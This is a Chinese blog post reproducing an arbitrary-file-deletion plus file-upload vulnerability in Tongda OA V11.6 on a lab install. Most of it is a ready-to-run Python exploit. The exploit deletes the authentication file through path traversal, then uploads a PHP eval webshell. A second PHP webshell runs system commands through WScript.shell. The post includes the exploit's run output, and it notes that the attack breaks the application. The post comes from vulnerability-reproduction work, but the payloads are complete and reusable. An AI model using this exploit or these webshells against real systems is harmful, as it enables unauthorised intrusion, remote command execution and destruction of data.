516天 JunMo

乾坤未定,你我皆是黑马!

通达OA V11.6任意文件删除+文件上传漏洞复现

发布于 3个月前 / 301 次围观 / 0 条评论 / 漏洞复现 / JunMo

环境搭建

通达OA V11.6 下载地址:http://www.kxdw.com/soft/23114.html

百度网盘链接:https://pan.baidu.com/s/1rTnsKtiB5HDvzp4FoKdMFw  提取码:Mo60


然后进行安装即可

1.png

访问

2.png

使用默认账号admin 密码空 登入

3.png

提示:该漏洞并不是无损的,如果成功利用后会删除程序中的php文件会导致程序功能无法使用

漏洞复现

这里使用exp直接打,利用成功会在根目录下生成一句话_oatest.php密码为t

import requests

payload="<?php eval($_POST['t']);?>"
print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")
target=input("Please enter URL: ")
input("Press enter to continue!")
print("[*]Deleting auth.inc.php....")
url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"
requests.get(url=url)
print("[*]Checking if file deleted...")
url=target+"/inc/auth.inc.php"
page=requests.get(url=url).text
if 'No input file specified.' not in page:
    print("[-]Failed to deleted auth.inc.php")
    exit(-1)
print("[+]Successfully deleted auth.inc.php!")
print("[*]Uploading payload...")
url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"
files = {'FILE1': ('oatest.php', payload)}
requests.post(url=url,files=files)
url=target+"/_oatest.php"
page=requests.get(url=url).text
if 'No input file specified.' not in page:
    print("[+]Filed Uploaded Successfully")
    print("[+]URL:",url)
else:
    print("[-]Failed to upload file")

运行后输入url然后回车确认运行即可,这里还是提示一下此漏洞并不是无损的!

>exp.py
[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA
Please enter URL: http://192.168.0.110:8080/
Press enter to continue!
[*]Deleting auth.inc.php....
[*]Checking if file deleted...
[+]Successfully deleted auth.inc.php!
[*]Uploading payload...
[+]Filed Uploaded Successfully
[+]URL: http://192.168.0.110:8080//_oatest.php

4.png

任意文件删除,exp是删除了验证文件然后进行文件上传

/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php

来到靶机处查看文件成功被写入

5.png

默认禁用了一些函数会导致无法执行命令这里使用其他方法去执行

6.png

<?php
$command=$_GET['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

执行whoami

7.png

后话

在次登入发现,页面已经歪瓜裂枣

8.png

只要把auth.inc.php重新移动到webroot/inc/目录下即可,该文件我也放在了百度网盘链接里,如果各个版本的auth.inc.php文件结构没有大变动的话应该都是可以的

9.png

2017版本的也可以被利用,2019版本的都不行,这里测试的版本为V11.6